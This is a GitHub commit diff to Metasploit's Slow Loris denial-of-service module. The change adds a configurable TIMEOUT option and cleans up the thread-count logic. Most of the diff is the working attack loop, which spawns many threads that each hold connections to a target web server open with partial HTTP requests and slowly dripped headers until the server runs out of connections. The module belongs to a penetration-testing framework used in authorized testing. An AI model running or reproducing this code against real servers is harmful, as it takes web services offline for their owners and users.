Skip to content

Commit 74becb6

Browse files
DanielRTeixeiramkienow-r7
authored andcommitted
Update slow_loris.rb
1 parent aa16288 commit 74becb6

File tree

1 file changed

+13
-8
lines changed

1 file changed

+13
-8
lines changed

modules/auxiliary/dos/http/slow_loris.rb

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ def initialize(info = {})
1212
info,
1313
'Name' => 'Slow Loris DoS',
1414
'Description' => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
15-
It accomplishes this by opening connections to the target web server and sending a partial request.
15+
It accomplishes this by opening connections to the target web server and sending a partial request.
1616
Periodically, it will send subsequent requests, adding to but never completing the request.},
1717
'License' => MSF_LICENSE,
1818
'Author' =>
@@ -32,7 +32,8 @@ def initialize(info = {})
3232
[
3333
Opt::RPORT(80),
3434
OptInt.new('THREADS', [true, 'The number of concurrent threads', 1000]),
35-
OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10])
35+
OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10]),
36+
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 15])
3637
])
3738
end
3839

@@ -43,30 +44,34 @@ def thread_count
4344
def headers
4445
datastore['HEADERS']
4546
end
47+
48+
def timeout
49+
datastore['TIMEOUT']
50+
end
4651

4752
def run
4853
starting_thread = 1
4954
header = "GET / HTTP/1.1\r\n"
5055
threads = []
51-
56+
5257
loop do
53-
print_status("Executing requests #{starting_thread} - #{(starting_thread + [thread_count].min) - 1}...")
54-
55-
1.upto([thread_count].min) do |i|
58+
print_status("Executing requests #{starting_thread} - #{(starting_thread + thread_count) - 1}...")
59+
60+
1.upto(thread_count) do |i|
5661
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
5762
begin
5863
connect()
5964
sock.puts(header)
6065
headers.times do
6166
data = "X-a-#{rand(0..1000)}: b\r\n"
6267
sock.puts(data)
63-
sleep rand(1..15)
68+
sleep rand(1..timeout)
6469
end
6570
end
6671
end
6772
end
6873
threads.each(&:join)
69-
starting_thread += [thread_count].min
74+
starting_thread += thread_count
7075
end
7176
end
7277
end

0 commit comments

Comments
 (0)